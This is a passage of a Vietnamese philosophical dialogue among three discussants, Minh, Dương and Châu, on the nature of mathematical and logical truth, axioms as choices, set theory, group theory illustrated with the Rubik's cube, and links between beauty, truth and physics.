hữu hiệu đến thế trong việc mô tả thiên nhiên. Vậy thì cái logic là cái con người lựa chọn hay là cái bị thiên nhiên áp đặt ?</div> <div> </div> <div> Minh - Đây là câu chuyện rất thú vị trong Triết học, câu chuyện “tri thức khách quan”. Thiền án đặt ra là con nhện cứ tưởng mình dệt lưới theo ý mình thích, hóa ra lại theo “tri thức khách quan”. Con người tưởng nói năng lung tung được, hóa ra lại theo “ngữ pháp”, thực chất là một trong các dạng biểu đạt của cấu trúc logic khách quan?</div> <div> </div> <div> Dương – Em cũng nghiêng về cách nhìn “ba phải”, nên mới có câu hỏi là trước khi các kí hiệu toán học (ngôn ngữ toán học) ra đời thì sao. Có lẽ các sự thật toán học chỉ là các mô hình của thực tại. Nhưng cách thức tồn tại và phát triển của toán học làm người ta nghi ngại nhận định này.</div> <div> </div> <div> Về sự phát triển theo logic nội tại của Toán học, liệu có sự tương đồng với một quá trình tự diễn biến nào trong giới tự nhiên không? Nếu có thì có thể dùng một mô hình Vật lý nào đó để khảo sát? Còn nữa, liệu bản chất của việc tìm kiếm các sự thật toán học có thể giải thích theo kiểu “phép đo” trong cơ học lượng tử?</div> <div> </div> <div> Trong Cơ học lượng tử, trạng thái của một hệ vi mô được mô tả bởi hàm sóng là chồng chập của tất các các trạng thái khả dĩ. Khi phép đo được tiến hành, hệ co về một trạng thái duy nhất ứng với kết quả của phép đo. Điều này liệu có điểm gì tương đồng với các sự thật toán học trong giả thiết sau: trước khi được khám phá ra thì thế giới các sự thật toán học ở trạng thái chồng chập đúng-sai, bất định-xác định… cho đến khi được một nhà toán học tiến hành “đo đạc” bằng cách tiến hành những thao tác suy luận logic để chứng minh hoặc phủ nhận một giả thiết toán học nào đó. Trạng thái của sự thật toán học khi đó sẽ co sập lại về tương ứng với kết quả của chứng minh giống như trạng thái của hệ vi mô co sập lại về tương ứng với phép đo trong cơ học lượng tử? Nói cách khác: chính tư duy của nhà toán học đã tạo ra sự thật toán học, giống như phép đo trong cơ học lượng tử đã tạo ra tính chất của hệ vi mô dưới dạng mô tả được?</div> <div> </div> <div> Như thế, một sự thật toán học được tìm ra cũng giống như kết quả của phép đo: vừa mang tính chủ quan, vừa mang tính khách quan, biểu hiện ở chỗ: sự thật toán học là sản phẩm của quá trình tư duy của nhà toán học, nhưng lại nghiệm đúng một cách khách quan và vĩnh viễn sau khi đã được tìm ra? Câu hỏi còn lại là liệu sự thật toán học có mang tính xác suất – bất định như trong cơ học lượng tử?</div> <div> </div> <div> Và hơn nữa, là vì sao bằng tư duy – “phép đo” của mình – con người lại có thể tìm ra những sự thật toán học này?</div> <div> </div> <div> Em có linh cảm là việc tìm kiếm các sự thật toán học và phép đo trong cơ học lượng tử rất gần nhau. Nhưng chỉ là linh cảm thôi, chưa có bằng chứng gì cả.</div> <div> </div> <div> Còn về câu chuyện “tri thức khách quan”, thì đó không chỉ là tri thức có khách quan, mà còn là bản chất của tri thức, nguồn gốc và mối liên hệ của nó với thực tại. Tất nhiên điều này cũng sẽ dẫn đến câu hỏi thực tại là gì và mối liên hệ của nó với tri thức như thế nào, làm sao mà con người lại có thể nhận thức được chúng, nhận thức đó liệu có khách quan hay hoàn toàn chủ quan hay là hỗn hợp của hai thứ đó.</div> <div> </div> <div> Rõ ràng cuộc đối thoại này đã bước ra khỏi phạm vi của các sự thật toán học và tiến tới một lĩnh vực khác: bản chất của thực tại và mối liên hệ của nó với các biểu diễn toán học. Trước khi những kí hiệu và khái niệm toán học được phát minh ra thì các hệ thức toán học như chúng ta thấy bây giờ không tồn tại, nhưng các mối liên hệ của tự nhiên, như trái đất quay xung quanh mặt trời một vòng hết 365 ngày, vẫn tồn tại dù không được biểu diễn bởi các phương trình. Vấn đề đặt ra – hóc búa– là mối quan hệ của thực tại với các mô hình toán học thực sự là gì?</div> <div> </div> <div> Trong trường hợp này, sự thật toán học được chọn như một ví dụ của tri thức. Ngôn ngữ cũng là một ví dụ tốt để xem xét.</div> <div> </div> <div> Minh - Anh nhìn nhận Logos là cái tính năng tràn khắp vũ trụ, cho nên ta và con mèo hiểu nhau rất dễ, và cái trái cây khi chưa sẵn sàng để phát tán hạt thì vẫn giữ màu lá cây để tự vệ và khuyên nhủ các loài “hãy kệ tôi đã”.</div> <div> </div> <div> Riêng xem trong thế giới thực vật và sinh vật muôn loài, ta đã thấy muôn vàn các quá trình trao đổi thông tin, anh từng đặt chữ là “giao tin”, thực hiện được, vậy là dựa vào đâu? Vào tính logos phổ quát.</div> <div> </div> <div> “Sự thật toán học” được Dương nói đến ở trên đây như những kết quả được xây dựng từ những tiên đề toán học “qua một quá trình suy luận logic chặt chẽ”. Như thế chính ở đây ta thừa nhận hệ thống các thuộc tính-quan hệ logic như một hệ thống công cụ có tính tiền đề. </div> <div> </div> <div> “Sự thật logic” như vậy còn tồn tại “trước” cả “sự thật toán học”. “Trước” không phải về không gian, thời gian vật lý, mà về mặt.. logic!</div> <div> </div> <div> Chuyện vui, nếu nhà toán học lạc vào trong rừng mà gặp phải con hổ, con hổ sẽ hiểu nhà toán học hơn cả nhà toán học hiểu chính mình trong địa hạt này… Con hổ sẽ lừa cho nhà toán học toát mồ hôi, toát ngu muội, và nhà toán học chỉ còn biết trông chờ vào may mắn! Tại sao? Vì cả hai cùng với giới tự nhiên đều cùng chia sẻ cái logos phổ quát về không gian, thời gian, về nhân quả, về luận lý, và cả về tâm lý! Và con hổ thì hiểu logos của thánh địa của nó hơn nhà toán học, hiểu cả rằng nó nhanh nhẹn, mạnh mẽ, và khôn ngoan trong săn bắt hơn chính nhà toán học!</div> <div> </div> <div> Ý niệm về “Đạo” của Lão, Trang có gần gũi với Logos. Nhưng yếu kém của “Đạo” là chưa ý thức được cái năng lực siêu phàm trong cái thần của Logos, là dạng thức (forms) – ở ta hay dịch là “hình thức”, cái chữ dễ bị hiểu nhầm nôm na thành như “bề ngoài”. Nhờ hiểu biết về tầm quan trọng vô cùng của dạng thức mà các hiểu biết về logic và toán học phát triển được lên.</div> <div> </div> <div> Nghiên cứu về logic, theo mình thì không có cái gọi là môn “logic nội dung” chọi với “logic hình thức”! Đó chỉ là sự diễn nôm hời hợt. Chỉ có một môn logic, và đó chính là logic dạng thức. Các bộ môn nghiên cứu ứng dụng logic không phải là “logic khác”, mà là các nghiên cứu ứng dụng logic mở ra trong các miền tri thức, các ứng dụng này không phải là các lựa chọn khả thay thế. Ví dụ như “modal logic” là môn nghiên cứu ứng dụng về tình thái ngữ nghĩa trong ngôn ngữ…</div> <div> </div> <div> Phát hiện về dạng thức là nền tảng cho sự phát triển có tính xây dựng được của nền văn minh tinh thần! Khi bạn đang đọc bài trao đổi này, bạn không “đọc” một cuộc thảo luận nguyên trạng, mà đọc cái đã dạng thức hóa của nó qua các “nguyên tử” ký tự (chữ cái, gồm cả các dấu nghỉ, cảm thán, khoảng trắng, cùng “dấu xuống dòng”, dấu chuyển hồi đoạn, dấu chấm hết … gọi chúng là “nguyên tử” vì các nhân tố này là nhỏ nhất trong hệ thống, không còn chẻ ra tiếp được nữa) đã được cấu trúc hóa theo các qui tắc ngữ pháp. Nói theo logic, các ký tự hợp thành hệ thống các ký hiệu, và việc áp dụng hệ các qui tắc nối kết vào các ký hiệu làm nên các công thức (từ, liên từ, đoạn, câu…), chúng được cắt nghĩa và vận động trong một hệ thống luận suy. Xa xôi hơn, bạn đang đọc được một dãy mã hóa “sắc không”, “âm dương”, “0 và 1”, được đại diện bởi các xung điện. Và cuối cùng, chính bạn phải làm cả một cuộc cắt nghĩa toàn bộ dãy mã này trong văn hóa khoa học tiếng Việt để “cảm hiểu” bài trao đổi.</div> <div> </div> <div> Cũng cần nói rõ là cái ý niệm “sắc không”, “âm dương” trong triết học cổ phương Đông chỉ là một khởi điểm của ý tưởng về các đối cực, chứ không hề liên quan gì đến việc phát triển của khoa máy tính sau này. Vì để có ý tưởng mã hóa tất thảy các hiện tượng chỉ từ hai trạng thái để lợi dụng được các xung điện, phải hiểu ra và phát triển được cái logos “dạng thức”, phát triển logic, toán học để xây dựng nên được ngôn ngữ dạng thức và hệ thống các thuật toán, để rồi có thể công nghệ hóa, tự động hóa chúng. Dãy các trạng thái “0 và 1” còn phải chứa hệ thống các cấu trúc để cho phép gắn kết chúng như thế nào trong quá trình vào mã và giải mã các thông tin. Các nhà Đông học tuyệt đối không có gì để vơ quàng sĩ diện ở đây.</div> <div> Cái tiếp theo của câu chuyện nói ở trên là cái nhìn triết học về “khách quan- chủ quan”, “vật chất- tinh thần”.</div> <div> </div> <div> Ở ta lâu nay người ta nhìn vấn đề này không theo tầng tinh thần triết học, mà theo cảm hứng dân dã, “lập trường”. Nên nhìn nhận rất chân thành rằng ở ta không có căn bản truyền thống về tinh thần văn hóa triết học – logic.</div> <div> </div> <div> Câu chuyện vật chất – tinh thần, cái nào “có trước”, cần nói rõ là “có trước về mặt triết học-logic”, là vấn đề lựa chọn.</div> <div> </div> <div> Ví dụ khi bạn chấp nhận “vật chất có trước tinh thần”, bạn dùng cái gì để “xác nhận” nó ? Bạn dùng chính tinh thần bạn!</div> <div> </div> <div> Nếu bạn không dùng tinh thần của bạn để công nhận “vật chất có trước tinh thần”, thì bạn quả là siêu nhiên! Bạn lại dùng “tinh thần vũ trụ” chăng?</div> <div> </div> <div> Như vậy sự công nhận về sự tồn tại của thế giới bên ngoài, “có trước”, độc lập với tinh thần con người, là vấn đề phương pháp, vấn đề lựa chọn tiên đề, chứ không có và không thể có vấn đề “đúng sai” theo nghĩa triết học ở đây.</div> <div> </div> <div> Cái rắc rối tiếp theo là liệu có một cái “logos phổ quát bên ngoài tinh thần con người” hay không?</div> <div> </div> <div> Cái này cũng thuộc về tiên đề triết học nốt. Phải lựa chọn.</div> <div> </div> <div> Và nếu bạn muốn hiểu “sự thật logic”, “sự thật toán học” như một “tri thức khách quan” thì đó cũng là một lựa chọn.</div> <div> </div> <div> Tri thức tiến lên nhiều khi không phải chỉ do “lập luận thông minh đơn thuần”. Lập luận không làm tiến hóa hệ thống. Lập luận chỉ củng cố hoặc mở rộng hệ thống, nếu hệ thống tỏ ra vẫn chuẩn xác (chưa bị rơi vào tự mâu thuẫn), hoặc ngược lại làm nó lụi tàn, nếu hệ thống không chịu nổi các thử thách về logic. Tri thức tiến lên còn do sự quyết đoán lựa chọn, tiêu biểu là việc lựa chọn các tiên đề. Người biết lựa chọn các tiên đề tất nhiên không phải người tầm thường. Sự lựa chọn là một cách mở rộng hoặc đổi thay hệ thống với những rủi ro và đột biến tiến hóa.</div> <div> </div> <div> Einstein đã lựa chọn tiên đề tốc độ ánh sáng là tốc độ cực đại trong vũ trụ chẳng hạn, điều vượt quá đa phần các bộ óc con người (trong đó tất nhiên có mình ! ;-) ).</div> <div> </div> <div> Sự lựa chọn việc tồn tại “logos khách quan” cũng có những cơ sở của nó. Giản đơn nếu như nhà toán học mà quên cho con mèo ăn, thì con mèo sẽ biết làm cho nhà toán học phải hiểu ra bằng được điều đó và cho nó ăn mà thôi.</div> <div> </div> <div> Lựa chọn sự tồn tại “tri thức khách quan” không có nghĩa là bạn đã có nó! Mà bạn hy vọng có thể phát hiện ra nó, đạt được nó như những tri thức cơ sở. Hơn thế nữa, từ những tri thức cơ sở đó bạn có thể xây dựng những tri thức mới trong khi tuân thủ những “tri thức khách quan về logic” – những tri thức chưa bị bác bỏ được. Nhìn chung tri thức luôn có cả hai mặt phát hiện và sáng chế. Như cái công nghệ thông tin phục vụ bạn đây là thuộc về sáng chế, có thế ta mới xem được những bức ảnh chụp bề mặt sao Hỏa rõ mồn một.</div> <div> </div> <div> Tất nhiên bạn có thể chọn tiên đề “không có tri thức khách quan”.</div> <div> </div> <div> Lựa chọn chỉ là phương pháp. Bạn “tự do” trong lựa chọn. Vấn đề là sự lựa chọn đó đưa bạn đi đến đâu, bạn phải đảm trách sự lựa chọn của mình. Cho nên ý thức triết học nhắn ta phải luôn luôn sẵn sàng nhìn lại những tiên đề của mình.</div> <div> </div> <div> Tam giác triết học – logic – toán học thật hấp dẫn và trong tầng sâu thẳm chúng trộn vào nhau. Hãy xem vài trường hợp sau:</div> <div> </div> <div> Lý thuyết tập hợp hình thành là một sự cộng sinh tuyệt đẹp của triết học, logic và toán học.</div> <div> </div> <div> Tỉ như dãy số tự nhiên 0,1,2…n… thực ra không hề “tự nhiên”, mà lần đầu tiên được xây dựng và cắt nghĩa hoàn chỉnh qua các khái niệm triết học-logic-toán học trong lý thuyết tập hợp.</div> <div> </div> <div> Tập rỗng là tập không chứa phần tử nào, ký hiệu “tập 0”. Đây là một tiên đề có tính triết học về mối tương sinh của tồn tại-hư vô, về “khởi thủy”. Không thể tranh luận gì được ở đây.</div> <div> </div> <div> Tập chứa đơn thuần tập rỗng, kí hiệu “tập 1”.</div> <div> </div> <div> Tập chứa “tập 0” và “tập 1”, ký hiệu “tập 2”, v.v.</div> <div> </div> <div> Và như thế ta có một dãy trật tự hóa, mỗi yếu tố trong dãy này là một tập hợp mà các phần tử của mình chính là tất cả các yếu tố- tập hợp đứng trước nó.</div> <div> </div> <div> Vui chuyện, ta có thể tự an ủi rằng cái ý thức của cá nhân mình khi chưa hình thành thì là một tập rỗng. Dần dà nó phát triển lên thật phong phú. Còn khi ta ra đi, ý thức của ta lại trở về là tập rỗng.</div> <div> </div> <div> Hay lấy một ví dụ khác, một quan hệ logic thuần, đơn giản hóa.</div> <div> </div> <div> Cho A, B, C,…Z là những thành tố của một tập hợp “đồng chất” (cùng một lĩnh vực).</div> <div> </div> <div> “Tính bắc cầu” là một quan hệ logic, ký hiệu R, được hiểu: R(A, B) & R(B, C) à R(A, C). Nghĩa là nếu quan hệ bắc cầu tồn tại giữa A và B, và nếu quan hệ bắc cầu đó cũng tồn tại giữa B và C thì ta có quan hệ bắc cầu này giữa A và C.</div> <div> </div> <div> Bây giờ nếu ta có thêm R(C, D) thì ta sẽ có R(A, D), vì ở trên ta đã có R(A,C). Phép chứng minh là một phép co rút hay quy giản tìm được khi áp dụng liên tục các quy tắc suy luận xác thực trên dãy các tiên đề và công thức đã được chứng minh: R(A, B) & R(B, C) à R(A, C); R(A, C) & R(C,D) à R(A, D).</div> <div> </div> <div> Vậy khi phải tính toán, nếu có R(A,B) & R(B,C) & R(C,D) & … & R(Y,Z) thì R(A,Z) có tồn tại hay không, công việc logic này đã thành công việc của toán học. Để gửi cái e-mail từ Chử Đồng Tử tới Tiên Dung, tri thức logic-toán học đã khách quan hóa trong các phần mềm ở các máy chủ sẽ tính xem gửi các gói thông tin này qua các nút máy nào để tính bắc cầu được thực hiện hiệu quả nhất.</div> <div> </div> <div> Và ở chỗ này, bằng chứng của sự lựa chọn “tri thức khách quan” là sức mạnh hiển nhiên: tri thức logic-toán học ở con người đã được chuyển ra ngoài, đây chính là nội dung của khái niệm “tha hóa” mà mình đã từng nói tới, chuyển thành “tri thức khách quan”, hoạt động tự động trong các máy tính! Đó chính là giá trị của sự lựa chọn triết học! Ngày mai bạn có thể được phẫu thuật bằng máy móc điều khiển do một bác sĩ ở phần bên kia địa cầu thông qua internet, và bạn đành phải tin vào tri thức khách quan nằm giữa bạn và ông bác sĩ!</div> <div> </div> <div> Cũng từ đây cho ta thấy cải cách và tiến bộ xã hội là có thể, vì tri thức, trong đó có các lý tưởng nhân văn xác quyết, có thể dần chuyển được ra “xã hội bên ngoài”, làm nên nền văn minh. Và kết thúc được cái xã hội chủ quan luẩn quẩn “con rắn cắn đuôi”, mãi mãi làm lại từ đầu!</div> <div> </div> <div> “Sự thật” hay “chân lý” về mặt triết học-logic là như sau: một biểu đạt, một hệ thống các biểu đạt (hay công thức), rộng nữa là một lý thuyết, có thỏa mãn bảng giá trị chân lý hay không.</div> <div> </div> <div> Nhưng bản thân cái bảng giá trị này, sâu xa về triết học-logic, thì lại không liên quan gì đến chân lý! Nó có đó do sự lựa chọn. Giống như các tiên đề vậy. Như thế chính triết học luôn cảnh tỉnh ta về sự lựa chọn của mình, thay vì băn khoăn và mắc tóc trong chính sự không ý thức về những lựa chọn đã được thực hiện.</div> <div> </div> <div> Về văn hóa thì chuyện này lại càng thú vị nữa. Con người lớn lên và được tắm trong cả “một biển các giá trị chân lý mẹ truyền”! Không có tư duy triết học, con người loay hoay mắc tóc trong đó đời này sang đời khác, đặt những câu hỏi không vào sâu được hơn cái lớp bao bì chân lý mẹ truyền này, và như ta thường hay thấy, người ta tấm tắc “các cụ nói cấm câu nào sai”! Nếu bạn để ý một chút thôi, thì cái biển chân lý này bao giờ cũng chứa tất cả các mệnh đề trái ngược nhau, tỉ như “một giọt máu đào, hơn một ao nước lã” chọi với “bán anh em xa, mua láng giềng gần”. Các lý thuyết cai trị cổ hủ cũng thường rơi vào tình huống này, do vừa cố mở rộng độ biên của ứng dụng, vì đời sống phong phú lên, lại vừa cố bảo trì các tiền đề cũ kĩ. Một cộng đồng muốn tiến lên, phải làm một cuộc tổng kiểm kê về cái bảng các giá trị này, để mà mình ý thức về chúng, để mà mình sẵn sàng được cảnh tỉnh về chúng, để mà mình có thể thay đổi chúng. Việc này không hề dễ tí nào, tương tự như việc quả táo rơi xuống đất tưởng đã hiển nhiên là chân lý, mà hóa ra lại chỉ là một nửa chân lý như Newton đã nhìn ra!</div> <div> </div> <div> Trong tương quan với các lĩnh vực cụ thể, các quan hệ logic như thế nằm ở tầm “cao hơn chân lý”, “trước chân lý” của những lĩnh vực đó… luôn luôn về mặt logic thôi. Về hình ảnh các quan hệ logic đã dạng thức hóa này tồn tại “trước” khi bị “nhúng vào” trong “các trường nhất định”, “các cư dân nhất định”. Ta tạm gọi các quan hệ này «ở ngoài vật thể” hay “trước vật thể”, chú ý, theo nghĩa… logic!</div> <div> </div> <div> Ví dụ quan hệ logic bắc cầu đã nói trên kia R: R(A, B) & R(B, C) à R(A, C) là một dạng thức quan hệ logic thuần.</div> <div> </div> <div> Chỉ khi “nhúng” quan hệ này vào các “trường sự vật» cụ thể, ở đó mới đẻ ra vấn đề chân lý cụ thể, hay gọi là vấn đề cắt nghĩa trên “một trường sự vật”.</div> <div> </div> <div> Trong cái thế giới sự vật “hệ thống tàu điện”, tính bắc cầu này thỏa mãn chân lý.</div> <div> </div> <div> Trong lĩnh vực “yêu mến”, tính bắc cầu không bắt buộc thỏa mãn chân lý. A yêu mến B, B yêu mến C, không tất yếu A yêu mến C. Ở đây việc triển khai tính bắc cầu mang tính bất định, “có thể bị bác bỏ”.</div> <div> </div> <div> Lưu ý rằng tính bắc cầu không nhất thiết thỏa mãn chân lý trong lĩnh vực “yêu mến”, không có nghĩa là tính bắc cầu “sai” về logic thuần túy. Chuyện đó không có nghĩa. Nói thế để ta thấy rõ hơn tầng logic nằm “trước và ngoài” tầng các sự vật cụ thể.</div> <div> </div> <div> Nói chuyện nhiều khi một xã hội Á Đông cứ loay hoay tranh cãi hàng ngàn năm rằng cái “mô hình” xã hội Nghiêu Thuấn “vua sáng tôi hiền, nhà nhà đi ngủ không phải đóng cửa, người người ra đường không ai nhặt của rơi” tự nó đúng hay sai? Câu hỏi đó vô nghĩa và vô ích về mặt vận hành xã hội. Hãy gác việc phân tích kinh viện cái “mô hình” siêu giản siêu thuần túy đó sang một bên, chưa cần thiết. Hãy cắt nghĩa khi áp dụng cái mô hình “logic” đó vào xã hội ở thời điểm lịch sử nhất định, ta đã có tư liệu lịch sử hàng ngàn năm rồi, xem nó có đảm bảo đưa lại thái bình no đủ vui tươi bền vững hay không ? Nếu là “không”, thì nó là sai theo bảng giá trị được chờ đợi trong cái trường lịch sử đó, và ta không phải lo lựa chọn nó.</div> <div> </div> <div> Vấn đề Dương có thể đẩy lên thú vị hơn nữa, là Logos có tồn tại độc lập được với vật thể không? Ví dụ với các lực hấp dẫn đã được tính toán đó, sự tồn tại của bản thân các vật thể có còn là bắt buộc không, hay các vật thể chỉ còn là sự thể hiện và mách bảo cho ta cái Logos. Các công thức tính toán theo nghĩa nào đó đã được “phi vật thể hóa”. Nhà thiết kế một tòa nhà nay có các tri thức khách quan đã được “tha hóa”, chuyển hóa ra và nằm sẵn trong phần mềm máy tính, và anh ta có thể chọn vật liệu xây dựng sau cùng cũng được, miễn là các vật liệu đó thỏa mãn mô hình logic-toán đã được xác quyết bằng các công thức đã được cài đặt trong phần mềm, chúng cho thấy thỏa mãn các tiêu chí được chờ đợi (bảng các giá trị) về độ bền vững, an toàn, giá trị thẩm mỹ, tiện nghi, môi trường, bảo trì, thương mại…</div> <div> </div> <div> Trong lập trình công nghệ tin học, một chương trình được viết thông minh là chương trình độc lập cao với dữ liệu, và nó chứa đựng hệ thống xử lý thông minh và khả năng giao tiếp phong phú. Khi phải ứng dụng cho các hoạt động khác nhau, ta mới cho nó giao tiếp với hệ thống các thông số của các lĩnh vực hoạt động liên quan, để nó tìm ra các ứng xử thích hợp cho các đối tượng của các lĩnh vực đó…</div> <div> </div> <div> Châu – Mình đồng ý là đem cọ sát các cách suy nghĩ khác nhau từ Triết, Toán đến Vật lý có thể đưa ta đi xa. Nhưng theo kinh nghiệm, ánh sáng không lóe ra từ cái cách áp đặt máy móc mô hình suy nghĩ của bên này qua bên kia. Ánh sáng luôn lóe ra từ những sự tương đồng tinh tế, mà mình phải thực sự tìm thì mới thấy. Những điểm tinh tế đó thường là nằm ở dưới lớp vỏ của ngôn ngữ.</div> <div> </div> <div> Sự hình thành của khái niệm nhóm trong toán rất đáng để suy nghĩ từ quan điểm Triết học. Mình có viết nhiều mẩu trên blog về chuyện này nhưng ít ai để ý.</div> <div> </div> <div> Định nghĩa của nhóm đơn giản đến mức có thể làm những người tò mò thất vọng. Nó mô phỏng các biến đổi nội tại của một đối tượng. Hai biến đổi có thể “hợp thành với nhau”, nhưng biến đổi A xảy ra trước biến đổi B kết hợp lại sẽ khác với khi biến đổi B xảy ra trước biến đổi A. Ngoài ra thì mọi biến đổi đểu nghịch đảo được, tức là có một biến đổi theo chiều ngược lại. Các tiên đề về nhóm đại khái chỉ có vậy.</div> <div> </div> <div> Ví dụ cơ bản là các thao tác trên khối rubik. Có thao tác A là quay mặt bên trái một góc 90 độ, có một thao tác B là quay mặt trên một góc 90 độ. Có hai thao tác hợp thành A rồi B và B rồi A. Ngoài ra thì có thao tác nghịch đảo của A, nghĩa là quay mặt bên trái một góc 90 độ theo chiều ngược lại so với A.</div> <div> </div> <div> Nhóm các thao tác trên rubik là một nhóm hữu hạn nhưng có rất nhiều phần tử và khá phức tạp. Vì thế mà khi ta xem hướng dẫn cách quay rubik, nói chung mình chỉ biết chấp hành thôi, còn không hiểu tại sao phải làm như thế. Muốn hiểu phải nghiên cứu tường tận cấu trúc của nhóm này.</div> <div> </div> <div> Bên cạnh các nhóm hữu hạn, rộng hơn là các nhóm rời rạc, ta còn có các nhóm liên tục.</div> <div> </div> <div> Điển hình là nhóm các phép dời trong không gian. Hình học cổ điển có thể biên soạn lại dưới ngôn ngữ của nhóm các phép dời hình trong mặt phẳng hoặc trong không gian. Đó chính là quan điểm của hình học hiện đại. Lý thuyết phương trình đại số một ẩn số được Galois giải thích một cách thấu đáo bằng lý thuyết nhóm Galois. Một trong những cố gắng chính của lý thuyết số hiện đại là mở rộng lý thuyết Galois ra hệ phương trình đại số nhiều ẩn số. Langlands tiên đoán một sự liên quan mật thiết đến các dạng automorphic mà khởi thủy là một nhóm con rời rạc trong một nhóm liên tục. Trong vật lý lý thuyết, Gell-Mann tiên đoán sự tồn tại của một hạt cơ bản dựa vào danh sách các biểu diễn của nhóm Lie.</div> <div> </div> <div> Khái niệm nhóm có vẻ như một cấu trúc đại số đơn giản thuận tiện, rất khó lý giải ảnh hưởng sâu rộng của nó đến hiểu biết chung của con người.</div> <div> </div> <div> Minh – Nhân Châu nói đến vụ cái rubik thấy hấp dẫn quá, nên bàn thêm mấy câu thế này:</div> <div> </div> <div> Tư duy là quá trình Lập Luận, Lập và Luận. Lập Luận xoay vòng nối tiếp nhau. Lập là lựa chọn, là quyết định, là hướng định. Lập khởi thủy là hệ thống các tiên đề, các ký hiệu, các qui tắc kết nối, các quy tắc thao tác, cùng một hệ thống ngữ nghĩa, làm nên một lý thuyết. Luận là quá trình thao tác kết nối, chuyển tải, sinh thành các Lập mới sao cho hợp thức (“không vi hiến”). Toàn bộ dòng này chảy dẫn từ Tiên đề đến Kết luận (Kết luận là một Lập đạt được cuối cùng của một chu trình). Dòng chảy này đa trị, nên có phép chứng minh hay thì có thể rất ngắn, hoặc phép chứng minh kém hay thì có thể siêu dài. Ví dụ về tập hợp các thao tác trên khối rubik của Châu rất hay cho trường hợp này: có người xoay rất nhanh ăn, người khác lâu ăn, riêng mình có thể xoay rubik cả đời không đi đến đâu cả, nhưng không hề phạm một lỗi logic nào! ;-).</div> <div> </div> <div> Trong một lĩnh vực tri thức cụ thể, xuất phát từ Hệ tiên đề mà đạt đến Kết luận mang tính bất định (ví dụ lý thuyết «tính bắc cầu của lòng yêu mến” đưa đến các kết quả “lúc có, lúc nhất định không»), thậm chí mâu thuẫn, sẽ buộc ta phải xem xét lại, bổ sung hoặc thay đổi lý thuyết trong lĩnh vực tri thức đó. Logic chỉ đóng vai trò tư pháp, đảm nhiệm tính hợp pháp của quá trình Luận và của các Lập được sinh thành (ví dụ một công thức mới thu được như kết quả chứng minh hợp pháp thu được từ quá trình Luận). Còn tính chân lý nằm ở trong nội dung các Lập, được cắt nghĩa bởi bảng các giá trị chân lý có được do các kinh nghiệm, thực nghiệm, kiến thức khoa học đã xác tín (tương đối) và/hay các lựa chọn lý tưởng nhân văn xác quyết. Tính chân lý trong trường hợp khối rubik trên kia có thể được định nghĩa trong bảng giá trị như sau: “ở mọi trạng thái ban đầu, ta luôn luôn sẽ có cách đưa khối rubik về trạng thái mà mỗi mặt chỉ có một màu, bằng cách chỉ áp dụng các thao tác cho phép”, như Châu đã nói ở trên.</div> <div> </div> <div> Dương – Như vậy là ở đây có một số vấn đề cần làm rõ hơn:</div> <div> </div> <div> 1. Một lý thuyết mô tả những biến đổi nội tại trở nên rất mạnh khi mô tả thực tại (reality), nên thực tại phải có cấu trúc nội tại và sự biến đổi của thực tại là do những biến đổi nội tại gây ra?</div> <div> </div> <div> 2. Không thể có một kết cục tất yếu cho sự vận động của một thực tại, vì kết cục phụ thuộc vào cách thức và thứ tự của từng biến đổi riêng rẽ. Phán đoán ở mức tốt nhất chỉ là phán đoán thống kê, không thể là phán đoán tất định?</div> <div> </div> <div> 3. Cơ sở cho những tiên đoán như của Gell-Mann là gì? Có phải đó chỉ là sự tự hoàn thiện, đối xứng, tao nhã…, những tiêu chí của cái Đẹp. Như vậy cái Đẹp (Beauty) và cái Thật (Truth) có quan hệ gì? Một lý thuyết đẹp và mô tả xác thực thường được coi là tốt. Vậy Đẹp, Thật, Tốt (Chân-Thiện-Mỹ) có quan hệ gì với nhau? Hay ba cái này là một.Và như thế, có tồn tại một bộ quy luật chung cho Mỹ học và Đạo đức như cho Khoa học? Thực ra, đây là một câu hỏi rất cũ, nhưng đến giờ vẫn chưa có câu trả lời thỏa đáng.</div> <div> </div> <div> Châu – Mình có một lý thuyết như thế này, có thể là hơi hàm hồ.</div> <div> </div> <div> Có rất nhiều yếu tố khác nhau để tạo nên cái đẹp. Một yếu tố là tính vừa đủ: không thiếu, đặc biệt là không thừa.</div> <div> </div> <div> Phải chăng thiên nhiên tuân theo nguyên tắc tiết kiệm, không chỉ tiết kiệm năng lượng, mà còn tiết kiệm cả thông tin nữa. Vì thế ngôn ngữ để mô tả nó cũng phải thỏa mãn tính tiết kiệm thông tin.</div> <div> </div> <div> Cái đẹp có một lợi thế khác nữa trong quá trình phát triển của tri thức, cái đẹp dễ được tiếp thu hơn. Cái gì xấu xí, nhưng có giá trị, thường sẽ được con người gọt rũa cho đến khi nó trở thành đẹp. Cái gì giữ mãi cái vỏ xấu xí của mình sẽ có nhiều cơ hội để rơi vào lãng quên.</div> <div> </div> <div> Dương – Lý thuyết của anh không “hàm hồ” chút nào, mà ngược lại, “cực kỳ tao nhã” (cười).</div> <div> </div> <div> Chẳng phải Einstein từng nói: một lý thuyết cần “simple, but not simpler” thì cũng hàm ý không thiếu không thừa.</div> <div> </div> <div> Nhân vật Hòa Thân trong phim Tể tướng Lưu gù một thời làm mưa làm gió trên phim truyền hình (Việt Nam, còn ở Trung Quốc thì không rõ) miêu tả một cô gái đẹp cho vua Càn Long như sau: cô ấy đẹp đến nỗi nếu bớt một chút thì thiếu, mà thêm một chút thì thừa. Càn Long (tay chơi có số) nghe đến đó thì cười tít mắt. Theo lý thuyết này, giám khảo của các cuộc thi sắc đẹp bây giờ, nếu thấy thí sinh có sẹo ở chân chẳng hạn, có lẽ nên nói cái sẹo ở đó là thừa thay vì thay vì chê bai thí sinh.</div> <div> </div> <div> Như vậy xem ra nhận định của Đông Tây kim cổ đều có nét tương đồng.</div> <div> </div> <div> Giờ nghiêm túc hơn một chút nhé:</div> <div> </div> <div> Trong vật lý cổ điển, khi năng lượng có vai trò chủ đạo thì Nguyên tắc hoạt động tối thiểu (Principle of least action) có vai trò quan trọng tương ứng. Vậy nếu coi tự nhiên (universe), ở mức cơ bản nhất, được tạo bởi thông tin (hiện có rất nhiều nhà vật lý theo giả thiết này) thì Nguyên tắc tiết kiệm thông tin (Principle of least information – PLI) cũng sẽ có vai trò tương tự. Liệu có thể tìm cách kiểm chứng PLI ở những chỗ này chăng (với sự dè dặt rất lớn)? Trường hấp hẫn: theo cách giải thích thường thấy thì vật chất làm cong không gian, độ cong đó chính là hấp dẫn. Vậy có thể nhìn cách khác: không gian là lưới thông tin; độ cong của không gian chính là mật độ thông tin. Như vậy, ở mức cơ bản nhất, không gian, và rộng ra là cả vũ trụ, được cấu tạo bởi thông tin. Chỗ nào có mật độ thông tin lớn thì vật chất tụ lại tương ứng. Ánh sáng cũng như mọi vật 